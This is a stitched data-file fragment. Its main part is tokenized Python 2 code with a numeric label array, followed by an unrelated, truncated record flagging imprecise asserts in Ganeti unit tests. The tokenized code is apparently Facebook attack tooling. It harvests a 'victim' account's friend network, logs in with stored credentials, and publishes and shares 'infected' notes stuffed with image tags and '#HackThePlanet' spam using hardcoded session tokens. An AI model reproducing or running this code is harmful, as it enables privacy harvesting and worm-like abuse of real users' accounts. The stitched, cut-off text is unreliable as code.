"ght", ".", " ", "There", "fore", ",", " ", "state", " ", "wis", " ", "still", " ", "bei", "ng", " ", "Tru", "e", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "try", " ", "pass", "es", ",", " ", "the", " ", "infini", "te", " ", "whi", "le", " ", "will", " ", "end", ".", " ", "(", "For", " ", "interne", "t", " ", "error", " ", "connecti", "on", " ", "problem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "state_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Signal", " ", "Cau", "ght", " ", "handler", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logs_", "(_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "\\\\", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "a_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "email_", ",_", "password_", "=_", "set", "Mail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "login_", "(_", "email_", ",_", "password_", ",_", "'", "real", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frie", "nd", "Name_", "=_", "get", "Name_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "Id_", "=_", "get", "User", "ID_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "frie", "nd", "Id_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frie", "nd", "Id_", "=_", "frie", "nd", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "frie", "nd", "Name_", ",_", "frie", "nd", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "element_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "not_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "frie", "nd", "Tra", "n_", "=_", "get", "Name_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "Tra", "n", "Id_", "=_", "get", "User", "ID_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "frie", "nd", "Id_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "frie", "nd", "Id_", "=_", "frie", "nd", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "frie", "nd", "Tra", "n_", ",_", "frie", "nd", "Tra", "n", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "._", "add", "Edge_", "(_", "victim", "_", ",_", "frie", "nd", "Name_", ",_", "frie", "nd", "Id_", ",_", "frie", "nd", "Tra", "n_", ",_", "frie", "nd", "Tra", "n", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "single", " ", "value", " ", "of", " ", "friends", "hip", "s", " ", "list", " ", "alr", "ed", "y", " ", "analyze", "d", " ", "for", " ", "non", " ", "repe", "titi", "vne", "ss_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "frie", "ndl", "y", "Logo", "ut_", "(_", "note", "ID_", ",_", "privacy", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "existence", "_", "=_", "raw", "\\u", "input_", "(_", "\"", "Share", " ", "an", " ", "existen", "t", " ", "infect", "ed", " ", "note", "?", " ", "1", "|", "0", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "title_", "=_", "raw", "\\u", "input_", "(_", "'", "Not", "e", " ", "title", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "10_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content_", "+=_", "'<", "p", "><", "img", " ", "src", "=\"", "http", "://", "www", ".", "facebook", ".", "com", "/", "n", "/?", "home", ".", "php", "&", "clk", "\\u", "loc", "=", "5", "&", "mid", "=", "7", "2b", "01", "a8", "G", "5a", "f4", "0014", "324", "3", "G", "0", "Gd", "4", "&", "bco", "de", "=", "1.1", "354", "826", "874", ".", "Ab", "ll", "uc", "Lc", "Wq", "HQ", "b", "SN", "M", "&", "n", "\\u", "m", "=", "hacke", "db", "y", "@", "chin", "oo", "ga", "wa", "-'_", "+_", "str_", "(_", "i_", ")_", "+_", "'\"", "/>", "</", "p", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "id", "'_", ":_", "note", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "note", "\\u", "id", "'_", ":_", "note", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "title_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "note", "\\u", "content", "'_", ":_", "content_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "['_", "+_", "note", "ID_", "+_", "']", "[", "value", "]'_", ":_", "privacy", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "publi", "sh", "'_", ":_", "'", "Publish", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "hy", "j", "3", "4f", "zp", "Q", "9", "U", "o", "Ha", "EW", "y1", "m", "9", "AC", "w", "Ky", "a", "F3", "pq", "z", "CA", "j", "FD", "x", "Cm", "6", "qy", "E", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "7", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "989", "715", "412", "011", "549", "651", "169", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "122", "462", "4", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "note", "s", "/", "edit", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "in", " ", "the", " ", "frie", "ndl", "y", "Logo", "ut", " ", "module", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Error", " ", "in", " ", "the", " ", "frie", "ndl", "y", "Logo", "ut", " ", "module", "\\\\", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "id", "'_", ":_", "'", "234", "747", "185", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "redirec", "t", "\\u", "uri", "'_", ":_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "display", "'_", ":_", "'", "popu", "p", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "access", "\\u", "token", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sd", "k", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "from", "\\u", "post", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "e2", "e", "'_", ":_", "'{", "\"", "submit", "\\u", "0", "\":", "140", "980", "3100", "561", "}'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "context", "'_", ":_", "'", "home", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "isme", "ta", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "timeline", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "targeti", "d", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "publi", "sh", "\\u", "type", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "message", "\\u", "text", "'_", ":_", "'#", "FB", "HT", " ", "rock", "s", "!", " ", "#", "Hack", "The", "Planet", "!", " ", "@", "chin", "oo", "ga", "wa", " ", " ", "powered", " ", "by", " ", "@", "Mk", "it", "Argent", "ina", " ", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xh", "pc", "\\u", "message", "'_", ":_", "'#", "FB", "HT", " ", "rock", "s", "!", " ", "#", "Hack", "The", "Planet", "!", " ", "@", "chin", "oo", "ga", "wa", " ", " ", "powered", " ", "by", " ", "@", "Mk", "it", "Argent", "ina", " ", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "explicit", "\\u", "place", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "place", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "place", "\\u", "name", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tagger", "\\u", "session", "\\u", "id", "'_", ":_", "'", "140", "980", "308", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "action", "\\u", "type", "\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "str", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "location", "\\u", "id", "[", "0", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hide", "\\u", "object\\u", "attach", "ment", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "suggestion", "\\u", "mechanism", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "og", "\\u", "suggestion", "\\u", "logg", "ing", "\\u", "data", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "icon", "\\u", "id", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "share", "\\u", "action", "\\u", "proper", "ties", "'_", ":_", "'{", "\"", "object", "\":\"", "https", ":\\\\", "/\\\\", "/", "www", ".", "facebook", ".", "com", "\\\\/", "note", "s", "\\\\/", "'_", "+_", "get", "Name_", "(_", "get", "C", "\\u", "user_", "(_", ")_", ")_", "+_", "'\\\\", "/'_", "+_", "note", "ID_", "+_", "'\\\\", "/'_", "+_", "note", "ID_", "+_", "'\"", "}'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "share", "\\u", "action", "\\u", "type", "\\u", "id", "'_", ":_", "'", "400", "681", "216", "654", "175", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "tags", "\\u", "city", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disable", "\\u", "location", "\\u", "shar", "ing", "'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "composer", "\\u", "predi", "cte", "d\\u", "city", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "[", "0", "][", "row", "\\u", "update", "d\\u", "time", "]'_", ":_", "'", "140", "980", "310", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "[", "0", "][", "custom", "\\u", "value", "]'_", ":_", "privacy", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "[", "0", "][", "value", "]'_", ":_", "'", "111", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "CONFIRM", "\\u\\u'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "xu", "5", "V", "84", "Oi", "3", "S2", "e4", "o", "K", "4", "pom", "XW", "om", "who", "4a", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "7", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "817", "151", "1091", "059", "897", "951", "187", "612", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "139", "839", "6", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "v1", ".0", "/", "dialog", "/", "share", "/", "submit", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "in", " ", "the", " ", "frie", "ndl", "y", "Logo", "ut", " ", "module", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Error", " ", "in", " ", "the", " ", "frie", "ndl", "y", "Logo", "ut", " ", "module", "\\\\", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
ganeti/ganeti/test/py/ganeti.rapi.testutils_unittest.py
[ { "content": " def testGetInfo(self):\n self.assertTrue(self.cl.GetInfo() is NotImplemented)", "metadata": "root.TestInputTestClient.testGetInfo", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 135 }, { "content": " def testPrepareExport(self):\n result = self.cl.PrepareExport(\"inst1.example.com\",\n constants.EXPORT_MODE_LOCAL)\n self.assertTrue(result is NotImplemented)\n self.assertRaises(rapi.testutils.VerificationError, self.cl.PrepareExport,\n \"inst1.example.com\", \"###invalid###\")", "metadata": "root.TestInputTestClient.testPrepareExport", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 138 }, { "content": " def testGetJobs(self):\n self.assertTrue(self.cl.GetJobs() is NotImplemented)", "metadata": "root.TestInputTestClient.testGetJobs", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 145 }, { "content": " def testQuery(self):\n result = self.cl.Query(constants.QR_NODE, [\"name\"])\n self.assertTrue(result is NotImplemented)", "metadata": "root.TestInputTestClient.testQuery", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 148 }, { "content": " def testQueryFields(self):\n result = self.cl.QueryFields(constants.QR_INSTANCE)\n self.assertTrue(result is NotImplemented)", "metadata": "root.TestInputTestClient.testQueryFields", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 152 }, { "content": " def testCancelJob(self):\n self.assertTrue(self.cl.CancelJob(\"1\") is NotImplemented)", "metadata": "root.TestInputTestClient.testCancelJob", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 156 }, { "content": " def testGetNodes(self):\n self.assertTrue(self.cl.GetNodes() is NotImplemented)", "metadata": "root.TestInputTestClient.testGetNodes", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 159 }, { "content": " def testGetInstances(self):\n self.assertTrue(self.cl.GetInstances() is NotImplemented)", "metadata": "root.TestInputTestClient.testGetInstances", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 162 }, { "content": " def testGetGroups(self):\n self.assertTrue(self.cl.GetGroups() is NotImplemented)", "metadata": "root.TestInputTestClient.testGetGroups", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 165 }, { "content": " def testWaitForJobChange(self):\n result = self.cl.WaitForJobChange(\"1\", [\"id\"], None, None)\n self.assertTrue(result is NotImplemented)", "metadata": "root.TestInputTestClient.testWaitForJobChange", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 168 }, { "content": " def testGetFilters(self):\n self.assertTrue(self.cl.GetFilters() is NotImplemented)", "metadata": "root.TestInputTestClient.testGetFilters", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 172 }, { "content": " def testGetFilter(self):\n result = self.cl.GetFilter(\"4364c043-f232-41e3-837f-f1ce846f21d2\")\n self.assertTrue(result is NotImplemented)", "metadata": "root.TestInputTestClient.testGetFilter", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 175 }, { "content": " def testReplaceFilter(self):\n self.assertTrue(self.cl.ReplaceFilter(\n uuid=\"c6a70f02-facb-4e37-b344-54f146dd0396\",\n priority=1,\n predicates=[[\"jobid\", [\">\", \"id\", \"watermark\"]]],\n action=\"CONTINUE\",\n reason_trail=[\"testReplaceFilter\", \"myreason\", utils.EpochNano()],\n ) is NotImplemented)", "metadata": "root.TestInputTestClient.testReplaceFilter", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 179 }, { "content": " def testAddFilter(self):\n self.assertTrue(self.cl.AddFilter(\n priority=1,\n predicates=[[\"jobid\", [\">\", \"id\", \"watermark\"]]],\n action=\"CONTINUE\",\n reason_trail=[\"testAddFilter\", \"myreason\", utils.EpochNano()],\n ) is NotImplemented)", "metadata": "root.TestInputTestClient.testAddFilter", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 188 }, { "content": " def testDeleteFilter(self):\n self.assertTrue(self.cl.DeleteFilter(\n uuid=\"c6a70f02-facb-4e37-b344-54f146dd0396\",\n ) is NotImplemented)", "metadata": "root.TestInputTestClient.testDeleteFilter", "header": "['class', 'TestInputTestClient', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 196 } ]
[ { "span": "self.assertTrue(self.cl.GetInfo() is NotImplemented)", "start_line": 136, "start_column": 4, "end_line": 136, "end_column": 56 }, { "span": "self.assertTrue(result is NotImplemented)", "start_line": 141, "start_column": 4, "end_line": 141, "end_column": 45 }, { "span": "self.assertTrue(self.cl.GetJobs() is NotImplemented)", "start_line": 146, "start_column": 4, "end_line": 146, "end_column": 56 }, { "span": "self.assertTrue(result is NotImplemented)", "start_line": 150, "start_column": 4, "end_line": 150, "end_column": 45 }, { "span": "self.assertTrue(result is NotImplemented)", "start_line": 154, "start_column": 4, "end_line": 154, "end_column": 45 }, { "span": "self.assertTrue(self.cl.CancelJob(\"1\") is NotImplemented)", "start_line": 157, "start_column": 4, "end_line": 157, "end_column": 61 }, { "span": "self.assertTrue(self.cl.GetNodes() is NotImplemented)", "start_line": 160, "start_column": 4, "end_line": 160, "end_column": 57 }, { "span": "self.assertTrue(self.cl.GetInstances() is NotImplemented)", "start_line": 163, "start_column": 4, "end_line": 163, "end_column": 61 }, { "span": "self.assertTrue(self.cl.GetGroups() is NotImplemented)", "start_line": 166, "start_column": 4, 